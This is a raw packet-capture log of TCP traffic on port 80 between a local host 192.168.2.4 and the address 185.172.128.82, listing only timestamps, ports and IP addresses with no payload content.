May 23, 2024 23:33:09.063257933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.063397884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063432932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063451052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.063466072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063477039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.063500881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063508987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.063534975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063544035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.063570023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.063575983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.063620090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.064207077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.064258099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.064439058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.064472914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.064487934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.064505100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.064515114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.064539909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.064547062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.064572096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.064583063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.064605951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.064619064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.064647913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.065298080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.065331936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.065347910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.065365076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.065380096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.065398932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.065409899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.065433025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.065440893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.065468073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.065475941 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.065512896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.066167116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.066200972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.066232920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.066250086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.066266060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.066274881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.066298008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.066309929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.066335917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.066343069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.066378117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067001104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067034960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067050934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067068100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067076921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067102909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067110062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067154884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067169905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067198038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067854881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067888975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067920923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067944050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067955971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067967892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.067987919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.067998886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068021059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.068030119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068068027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068659067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.068692923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.068703890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068727016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.068732977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068759918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.068768024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068793058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.068803072 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068828106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.068836927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.068873882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.069444895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069478035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069497108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.069510937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069519997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.069545031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069555044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.069577932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069586039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.069611073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069616079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.069644928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069659948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.069686890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.069690943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.070358992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.070391893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.070411921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.070425987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.070437908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.070457935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.070467949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.070499897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.070523024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.070555925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.070564032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.070589066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.070600033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.070633888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071300030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071333885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071353912 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071365118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071374893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071398973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071408033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071432114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071441889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071465969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071474075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071500063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071515083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071532965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.071541071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.071576118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072238922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072273970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072293997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072305918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072313070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072340012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072348118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072372913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072381973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072406054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072415113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072438955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072454929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072472095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.072484016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.072514057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073213100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073246956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073262930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073278904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073287010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073312998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073321104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073345900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073354959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073379993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073391914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073411942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073424101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073452950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.073462963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.073509932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074178934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074212074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074240923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074265003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074274063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074282885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074306965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074316025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074341059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074348927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074373960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074382067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074407101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074415922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074440956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.074455023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.074487925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075063944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075098038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075114965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075130939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075143099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075174093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075452089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075485945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075501919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075516939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075527906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075551033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075560093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075584888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.075592995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.075628042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153124094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153192043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153228045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153260946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153445005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153445005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153445005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153491020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153527021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153558969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153592110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.153700113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153700113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153700113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153700113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.153940916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154110909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154145002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154176950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154211998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154253006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154253006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154253006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154253006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154604912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154639959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154656887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154673100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154690981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154707909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154715061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154742002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154750109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154776096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154786110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154809952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.154818058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.154854059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.155335903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.155370951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.155384064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.155417919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.155431986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.155478001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.155627012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.155661106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.155674934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.155694008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.155704021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.155738115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.155970097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156002998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156021118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156035900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156044006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156069994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156078100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156102896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156111956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156136036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156145096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156177998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156819105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156853914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156868935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156887054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156897068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156922102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156929970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156955004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.156964064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.156987906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157005072 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157031059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157043934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157063961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157075882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157105923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157746077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157778978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157809973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157829046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157844067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157851934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157876015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157886982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157910109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157917976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157943964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.157952070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.157985926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158685923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158720970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158736944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158754110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158765078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158787966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158797026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158821106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158832073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158854961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158863068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158886909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158895969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158920050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.158929110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.158967018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.159823895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.159857988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.159877062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.159889936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.159897089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.159924030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.159931898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.159957886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.159966946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.159991026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.160008907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.160023928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.160034895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.160057068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.160065889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.160099983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161042929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161077023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161092043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161109924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161122084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161143064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161150932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161175966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161190033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161210060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161217928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161242962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161252975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161276102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161284924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161318064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161326885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161360979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161375999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161392927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161401987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161427021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161434889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161459923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161468983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161494017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161500931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161526918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161541939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161561012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.161586046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.161593914 CEST	80	49733	185.172.128.82	192.168.2.4
